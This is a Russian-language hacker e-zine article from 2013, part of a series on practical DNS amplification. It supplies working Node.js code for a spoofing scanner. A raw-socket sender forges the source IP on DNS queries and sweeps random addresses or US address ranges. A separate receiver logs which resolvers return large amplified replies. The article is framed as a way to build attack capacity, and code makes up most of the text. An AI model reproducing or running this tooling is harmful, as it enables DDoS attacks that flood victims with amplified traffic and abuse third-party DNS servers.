DNS-Amplification на практике, часть 1


Более эффективное сканирование хостов

Если нужно нарастить мощности быстро, предыдущий шаг этого сделать не позволит по нескольким причинам :

  • Не факт, что если НС ответил ВАМ на прямой запрос, то пакет со спуфенным айпи до него (НС) дойдет
  • При сканировании с одного хоста, сеть нагружается как на прием, так и на отдачу. Поэтому часть пакетов-ответов от НС не доходит.

Более эффективное решение - сканировать с помощью 2 серверов, из которых один на приеме пакетов от НС, а второй - на передаче НСам пакетов со спуфенным IP в заголовке. Обязательное условие - расположение принимающего сервера в другом ДЦ и желательно даже в другой стране. Спуфящих серверов может быть один, а может быть несколько. Я проверял на двух спуфящих и одном принимающем.

Для приема и отправки пакетов используются NodeJS - приложения. Принимающую сторону назовем "клиент". Он предельно прост. Примерный принцип работы :

  • создается UDP сервер, слушающий порт 5353. ( dgram.createSocket("udp4") \ server.bind(5353);)
  • приходящие пакеты разбираются на предмет размера;
  • если размер пакета удовлетворяет (больше 200-300 байт), то отправителя записываем в лог (fs.createWriteStream \ write);
var dgram = require('dgram');
var fs = require('fs');
var dns = require('dns');
var util = require('util');
 
var ws = fs.createWriteStream("incoming_ips.txt", {
 flags: 'w+'
});
 
var server = dgram.createSocket("udp4");
 
function getPercent(total, amount){
 return (amount * 100) / total;
}
 
server.on('error', function(msg, rinfo){
 console.log('server error');
});
 
server.on('message', function(msg, rinfo){
 if(msg.length > 100){
  var line = util.format("%d:%s:%d:%d", 
   msg.length, rinfo.address, rinfo.port, 
   getPercent(17, msg.length));
  console.log(line);
  ws.write(line + 'n'); 
 }
});
 
server.bind(5353);
console.log('NS Client started');

такой код соберет все наши пакеты в логе, который после будет удобно распарсить. Отдельный сервер будет представлен в виде строки : размер_пакета:днс_айпи:процент_усиления


Спуфящая часть

Спуфящая часть написана с помощью node-raw-socket - оберткой надо unix-сокетами для *nix, которая позволяет собирать свой IP-хедер для отправляемых пакетов. Разумеется, это требует прав рута. Принцип работы несложный. У нас есть готовый пакет реквеста на ДНС-сервер, включая IP-хедер и UDP пакет с нагрузкой в виде DNS-query :

var buffer = new Buffer ([
 //--------- IP packet ----------
 0x45,  
 0x00, 
 0x00, 0x25, //length 
 0x7c, 0x9b, //ID 
 0x00, 0x00, //flagsfragment offset
 0x80,  //TTL 
 0x11,  //protocol 
 0x00, 0x00, //crc
 0x00, 0x00, 0x00, 0x00, //source IP
 0xc0, 0xa8, 0x41, 0x01, //dest IP
 //--------- 8 bytes  of UDP packet ----------
 0x14, 0xE9, //sender port
 0x00, 0x35, //target port
 0x00, 0x19, //data length
 0x00, 0x00, //crc
 //--------- 17 bytes of DNS packet ----------     
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);

Все что требуется - выставить в IP-хедере айпи-адреса :

  • src_ip - айпи приемника пакетов (клиента)
  • dst_ip - айпи потенциально уязвимого ДНС-сервера

Порт источника в UDP пакете указан 5353, как раз тот, на котором листинит клиент. Чексуммы выставлены в 0, чтоб стек ОС сам пересчитал сумму при отправке пакета в сеть.


Откуда брать айпи-адреса ?

Можно генерировать рандомные (результат неплох), а можно сканировать диапазоны по странам. Я брал диапазоны в виде листов :

3.0.0.0-3.103.8.36
3.103.8.38-4.18.65.255
4.18.68.0-4.28.83.255
4.28.85.0-4.31.64.63
4.31.64.72-4.59.175.255
4.59.177.0-4.68.23.139
4.68.23.141-4.68.23.189
4.68.23.191-4.68.25.1
4.68.25.4-4.68.115.255
4.68.118.0-4.69.131.255
4.69.132.53-4.69.132.53
4.69.132.61-4.69.132.61
4.69.132.65-4.69.132.65

и последовательно их перебирал. Важно обеспечить последовательную посылку пакетов при асинхронной архитектуре. Для этого был сделан вполне, как оказалось, жизнеспособный костыль, нагрузивший исходящий канал на 20 мбит (из 100) и не блокировавший эвентпулл ноды.
Сокращенный вариант костыля :

function repeater(diapasons, nextIp , endIp) {
 async(function(){ 
  process.nextTick(function(){
   repeater(diapasons, current_ip + 1, endIp);
  });
 });
}
 
repeater(undefined, undefined, undefined);

Для работы необходимо поставить модуль raw-socket : npm install raw-socket.
Код спуфящей части :

var raw = require ("raw-socket");
var fs = require('fs');
var dns = require('dns');
var util = require('util');
 
var options = {
    protocol: raw.Protocol.UDP,
    bufferSize: 4096*8
};
 
var socket = raw.createSocket (options);
 
socket.setOption (raw.SocketLevel.IPPROTO_IP, 
raw.SocketOption.IP_HDRINCL, new Buffer ([0x00, 0x00, 0x00, 0x01]), 4);
 
 
var buffer = new Buffer ([
 //--------- IP packet ----------
 0x45,  
 0x00, 
 0x00, 0x25, //length 
 0x7c, 0x9b, //ID 
 0x00, 0x00, //flagsfragment offset
 0x80,  //TTL 
 0x11,  //protocol 
 0x00, 0x00, //crc
 0x00, 0x00, 0x00, 0x00, //source IP
 0xc0, 0xa8, 0x41, 0x01, //dest IP
 //--------- 8 bytes  of UDP packet ----------
 0x14, 0xE9, //sender port
 0x00, 0x35, //target port
 0x00, 0x19, //data length
 0x00, 0x00, //crc
 //--------- 17 bytes of DNS packet ----------     
    0x00, 0x03, 0x01, 0x00, 0x00,0x01,
    0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00,
    0x1C, 0x00, 0x01
]);
 
function ip2long ( ip_address ) {    
    var output = false;
    var parts = [];
    if (ip_address.match(/^d{1,3}.d{1,3}.d{1,3}.d{1,3}$/)) {
        parts  = ip_address.split('.');
        output = ( parts[0] * 16777216 +
        ( parts[1] * 65536 ) +
        ( parts[2] * 256 ) +
        ( parts[3] * 1 ) );
    }
 
    return output;
}
 
function long2ip ( proper_address ) {
    var output = false;
 
    if ( !isNaN ( proper_address ) && ( proper_address >= 0 || 
	proper_address <= 4294967295 ) ) {
  output = Math.floor (proper_address / Math.pow ( 256, 3 ) ) + '.' +
   Math.floor ( ( proper_address % Math.pow ( 256, 3 ) ) / 
   Math.pow ( 256, 2 ) ) + '.' +
   Math.floor ( ( ( proper_address % Math.pow ( 256, 3 ) )  % 
   Math.pow ( 256, 2 ) ) / Math.pow ( 256, 1 ) ) + '.' +
   Math.floor ( ( ( ( proper_address % Math.pow ( 256, 3 ) ) % 
   Math.pow ( 256, 2 ) ) % Math.pow ( 256, 1 ) ) / 
   Math.pow ( 256, 0 ) );
    }
 
    return output;
}
 
 
function rand(max){
 return Math.floor(Math.random()*max)
}
 
function ip_packet_length(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 2); 
 }
 return buff.readUInt16BE(2);
}
 
function ip_packet_id(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 4); 
 }
 return buff.readUInt16BE(4);
}
 
function ip_packet_ttl(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 8); 
 }
 return buff.readUInt8(8);
}
 
 
function ip_packet_proto(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt8(newval, 9); 
 }
 return buff.readUInt8(9);
}
 
 
function ip_packet_crc(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt16BE(newval, 10); 
 }
 return buff.readUInt16BE(10);
}
 
 
function ip_packet_source_addr(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 12); 
 }
 return buff.readUInt32BE(12);
}
 
function ip_packet_dest_addr(buff, newval){
 
 if(typeof(newval) !== 'undefined'){
  buff.writeUInt32BE(newval, 16); 
 }
 return buff.readUInt32BE(16);
}
 
//process IP ranges
function parseIpFile(filename){ 
 
 var diapasons = [];
 var ip_database = fs.readFileSync(filename).toString().split('n');
 
 console.log("ranges readed : %d", ip_database.length);
 
 var totalAddreses = 0;
 
 for(var i = 0; i < ip_database.length; i ++){ 
 
  var rangeStartEnd = ip_database[i].split('-');
  var startIp = ip2long(rangeStartEnd[0]);
  var endIp = ip2long(rangeStartEnd[1]);
 
  totalAddreses += (endIp - startIp);
 
  diapasons.push([
   startIp,
   endIp
  ]);
 }
 
 console.log('total addreses : %d', totalAddreses);
 
 return diapasons;
}
 
function sendPacket(possibleNSip, callback){ 
 
 ip_packet_dest_addr(buffer, possibleNSip);
 ip_packet_source_addr(buffer, collectorIpLong);
 
 
 socket.send (buffer, 0, buffer.length, long2ip(possibleNSip), 
 function (error, bytes) {
     callback();
 });
}
 
function randomIp(){ 
 return ip2long([rand(250),rand(250),rand(250),
 rand(250)].join('.'));
}
 
function repeater(diapasons, nextIp , endIp) {
 var current_ip = nextIp;
 
 if(typeof(diapasons) === 'undefined'){ 
  current_ip = randomIp();
 }
 
 if(typeof(current_ip) === 'undefined'){
  var current_iprange = diapasons.shift();
  if( current_iprange.length > 0) {
   current_ip = current_iprange[0];
   endIp = current_iprange[1];
  }else{ 
   repeater(diapasons, undefined, undefined);
  }
 }
 
 sendPacket(current_ip, function(){ 
  if(current_ip === endIp){
   console.log('end of range, try next'); 
   repeater(diapasons, undefined, undefined);
  }else{ 
   process.nextTick(function(){
    repeater(diapasons, current_ip + 1, endIp);
   });
  }
 });
 
}
 
var collectorIp = '1.2.3.4'; // IP клиента, принимающего пакеты
var collectorIpLong = ip2long(collectorIp);
 
//для рандома передаем undefined вместо списка айпи
//repeater(undefined, undefined, undefined);
//для отправке по диапазонам, передаем отпарсенный диапазон
repeater(parseIpFile('US_ipranges.txt'), undefined, undefined);

<<< Часть 0


______________________________
MZh
2013

Inception E-Zine